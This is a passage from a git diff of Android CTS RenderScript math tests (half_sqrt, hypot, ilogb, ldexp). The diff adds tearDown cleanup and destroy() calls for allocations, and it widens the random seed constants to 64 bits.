         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRsqrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.java
index 04e191e..b92549d 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestHalfSqrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkHalfSqrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa15db5fal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x8be766c7a15db5fal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testHalfSqrtFloatFloat(inV, out);
             verifyResultsHalfSqrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testHalfSqrtFloatFloat(inV, out);
             verifyResultsHalfSqrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfSqrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkHalfSqrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x42519b8el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7a300d2342519b8el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testHalfSqrtFloat2Float2(inV, out);
             verifyResultsHalfSqrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testHalfSqrtFloat2Float2(inV, out);
             verifyResultsHalfSqrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfSqrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkHalfSqrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x386cbc6cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7a31d63e386cbc6cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testHalfSqrtFloat3Float3(inV, out);
             verifyResultsHalfSqrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testHalfSqrtFloat3Float3(inV, out);
             verifyResultsHalfSqrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfSqrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkHalfSqrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2e87dd4al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7a339f592e87dd4al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testHalfSqrtFloat4Float4(inV, out);
             verifyResultsHalfSqrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testHalfSqrtFloat4Float4(inV, out);
             verifyResultsHalfSqrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfSqrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfSqrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.java
index 9b02e25..340afea 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestHypotRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkHypotFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x738c74c4l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x738c74c5l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7deb65e7738c74c4l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7deb65e7738c74c5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotFloatFloatFloat(inA, out);
             verifyResultsHypotFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotFloatFloatFloat(inA, out);
             verifyResultsHypotFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkHypotFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x62f71c46l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x62f71c47l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x14f3c91a62f71c46l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x14f3c91a62f71c47l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotFloat2Float2Float2(inA, out);
             verifyResultsHypotFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotFloat2Float2Float2(inA, out);
             verifyResultsHypotFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkHypotFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x64d51de7l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x64d51de8l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6958a73a64d51de7l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6958a73a64d51de8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotFloat3Float3Float3(inA, out);
             verifyResultsHypotFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotFloat3Float3Float3(inA, out);
             verifyResultsHypotFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkHypotFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x66b31f88l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x66b31f89l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbdbd855a66b31f88l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbdbd855a66b31f89l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotFloat4Float4Float4(inA, out);
             verifyResultsHypotFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotFloat4Float4Float4(inA, out);
             verifyResultsHypotFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkHypotHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xff770667l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xff770668l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3312ecb5ff770667l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3312ecb5ff770668l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotHalfHalfHalf(inA, out);
             verifyResultsHypotHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotHalfHalfHalf(inA, out);
             verifyResultsHypotHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkHypotHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xaa72b8b9l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xaa72b8bal, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4d5ba804aa72b8b9l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4d5ba804aa72b8bal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotHalf2Half2Half2(inA, out);
             verifyResultsHypotHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotHalf2Half2Half2(inA, out);
             verifyResultsHypotHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkHypotHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x911c988l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x911c989l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x731027ee0911c988l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x731027ee0911c989l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotHalf3Half3Half3(inA, out);
             verifyResultsHypotHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotHalf3Half3Half3(inA, out);
             verifyResultsHypotHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkHypotHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x67b0da57l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x67b0da58l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x98c4a7d767b0da57l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x98c4a7d767b0da58l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testHypotHalf4Half4Half4(inA, out);
             verifyResultsHypotHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testHypotHalf4Half4Half4(inA, out);
             verifyResultsHypotHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHypotHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsHypotHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.java
index 329a759..4a4ddfe 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestIlogbRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatInt {
         public float inV;
         public int out;
     }
 
     private void checkIlogbFloatInt() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x5664967bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6103ca4b5664967bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             script.forEach_testIlogbFloatInt(inV, out);
             verifyResultsIlogbFloatInt(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloatInt: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testIlogbFloatInt(inV, out);
             verifyResultsIlogbFloatInt(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloatInt: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsIlogbFloatInt(Allocation inV, Allocation out, boolean relaxed) {
@@ -104,11 +114,12 @@
     }
 
     private void checkIlogbFloat2Int2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb6f32a61l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb460143cb6f32a61l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testIlogbFloat2Int2(inV, out);
             verifyResultsIlogbFloat2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloat2Int2: " + e.toString());
         }
@@ -116,9 +127,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testIlogbFloat2Int2(inV, out);
             verifyResultsIlogbFloat2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloat2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsIlogbFloat2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -165,11 +178,12 @@
     }
 
     private void checkIlogbFloat3Int3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9b3a97l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb460147c009b3a97l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testIlogbFloat3Int3(inV, out);
             verifyResultsIlogbFloat3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloat3Int3: " + e.toString());
         }
@@ -177,9 +191,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testIlogbFloat3Int3(inV, out);
             verifyResultsIlogbFloat3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloat3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsIlogbFloat3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -226,11 +242,12 @@
     }
 
     private void checkIlogbFloat4Int4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4a434acdl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb46014bb4a434acdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testIlogbFloat4Int4(inV, out);
             verifyResultsIlogbFloat4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloat4Int4: " + e.toString());
         }
@@ -238,9 +255,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testIlogbFloat4Int4(inV, out);
             verifyResultsIlogbFloat4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testIlogbFloat4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsIlogbFloat4Int4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.java
index 2bcc552..54ed399 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestLdexpRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatIntFloat {
         public float inMantissa;
         public int inExponent;
@@ -44,13 +51,14 @@
     }
 
     private void checkLdexpFloatIntFloat() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x90f0e26fl, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x2e4133c4l, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdffd225490f0e26fl, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xdffd207c2e4133c4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloatIntFloat(inMantissa, out);
             verifyResultsLdexpFloatIntFloat(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloatIntFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloatIntFloat(inMantissa, out);
             verifyResultsLdexpFloatIntFloat(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloatIntFloat: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloatIntFloat(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkLdexpFloat2Int2Float2() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4fe92893l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xed3979e8l, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7d0b1a44fe92893l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x7d0afcbed3979e8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloat2Int2Float2(inMantissa, out);
             verifyResultsLdexpFloat2Int2Float2(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat2Int2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloat2Int2Float2(inMantissa, out);
             verifyResultsLdexpFloat2Int2Float2(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat2Int2Float2: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloat2Int2Float2(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkLdexpFloat3Int3Float3() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3fa3335el, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xdcf384b3l, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xa8e041253fa3335el, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xa8e03f4cdcf384b3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloat3Int3Float3(inMantissa, out);
             verifyResultsLdexpFloat3Int3Float3(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat3Int3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloat3Int3Float3(inMantissa, out);
             verifyResultsLdexpFloat3Int3Float3(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat3Int3Float3: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloat3Int3Float3(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkLdexpFloat4Int4Float4() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2f5d3e29l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xccad8f7el, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x49efd0a62f5d3e29l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x49efcecdccad8f7el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloat4Int4Float4(inMantissa, out);
             verifyResultsLdexpFloat4Int4Float4(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat4Int4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
